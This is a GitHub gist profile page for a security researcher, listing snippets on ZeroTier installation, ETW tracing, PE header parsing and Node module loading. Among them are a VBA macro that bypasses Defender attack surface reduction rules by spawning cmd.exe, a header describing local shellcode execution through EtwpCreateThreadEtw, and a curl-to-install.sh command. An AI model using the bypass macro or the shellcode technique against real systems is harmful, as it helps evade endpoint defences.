Skip to content

Instantly share code, notes, and snippets.

View jymcheong's full-sized avatar

Jym Cheong jymcheong

View GitHub Profile
@jymcheong
jymcheong / InstallZeroTier.ps1
Created December 31, 2023 10:12 — forked from wise-io/InstallZeroTier.ps1
Installs Latest ZeroTier One Client
<#
.SYNOPSIS
Installs ZeroTier
.DESCRIPTION
Install ZeroTier and join/configure ZeroTier network
.EXAMPLE
./ios-InstallZeroTier.ps1
.NOTES
This script will install PowerShell 7 if it is not present.
A UAC prompt will appear during install if -UI is used.
@jymcheong
jymcheong / normcore-llm.md
Created August 30, 2023 06:03 — forked from veekaybee/normcore-llm.md
Normcore LLM Reads
@jymcheong
jymcheong / unit1.pas
Last active January 6, 2022 01:22
Monitor changes to a directory. New project > drag a TMemo & TDirectoryEdit to the form > link the respect event procedure to the controls under Event tab...
// source: https://forum.lazarus.freepascal.org/index.php/topic,46255.msg334820.html#msg334820
unit Unit1;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Forms, Controls, EditBtn, StdCtrls,
@jymcheong
jymcheong / ASR Rules Bypass.vba
Created November 4, 2021 08:01 — forked from infosecn1nja/ASR Rules Bypass.vba
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
curl -L https://github.com/jymcheong/OpenEDR/tarball/master | tar xz && mv jymcheong* openEDR && cd openEDR && ./install.sh
@jymcheong
jymcheong / EtwpTest.cs
Created August 6, 2021 12:48 — forked from TheWover/EtwpTest.cs
Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace EtwpTest
{
class Program
{
static void Main(string[] args)
{
@jymcheong
jymcheong / ReadingPortableExecutable_PE_header.cs
Created April 20, 2021 06:51 — forked from augustoproiete/ReadingPortableExecutable_PE_header.cs
Reading the Portable Executable (PE) header in C#
// Credits: John Stewien
// From: http://code.cheesydesign.com/?p=572
/*
Reading the Portable Executable (PE) header in C#
My job consists of writing fully custom applications for groups of people. The time pressure of these projects is quite high, so generally people start using the application while I’m still writing it, which means I write it modularly and add features as I go along. I also fix bugs as they are discovered. My clients are 2 tiered where expert users get a new build first, they test if for a while, and if they think it’s acceptable they then pass it on to others.
This method of distribution is quite ad-hoc so when a client rings me up and asks me to view their screen to look at something, it’s useful to know what build they are running. To facillitate this I print the link date in the main Window Title so I instantly have an idea about how old the version is that I am looking at. This date is calculated at run time. To do this requires reading in the Portable Executable (PE) header from th
@jymcheong
jymcheong / jaro-winkler.js
Created April 7, 2021 00:50 — forked from jordanthomas/jaro-winkler.js
The Jaro-Winkler distance metric in JavaScript. See also: https://github.com/jordanthomas/jaro-winkler
var distance = function(s1, s2) {
var m = 0;
// Exit early if either are empty.
if ( s1.length === 0 || s2.length === 0 ) {
return 0;
}
// Exit early if they're an exact match.
if ( s1 === s2 ) {
@jymcheong
jymcheong / Program.cs
Created December 19, 2019 08:06
C# ETW Example
using System;
using System.Diagnostics;
using Microsoft.Diagnostics.Tracing;
using Microsoft.Diagnostics.Tracing.Session;
using Microsoft.Diagnostics.Tracing.Parsers;
using System.IO;
using System.Collections.Generic;
using System.Reflection;
using Newtonsoft.Json;
@jymcheong
jymcheong / server.js
Last active September 6, 2019 00:56
Dynamically Loading NodeJS Module
var fs = require('fs');
var path_module = require('path');
var module_holder = {};
function LoadModules(path) {
return new Promise(resolve => {
fs.readdirSync(path).forEach(file => {
require(path + '/' + file)(module_holder);
});
resolve(module_holder);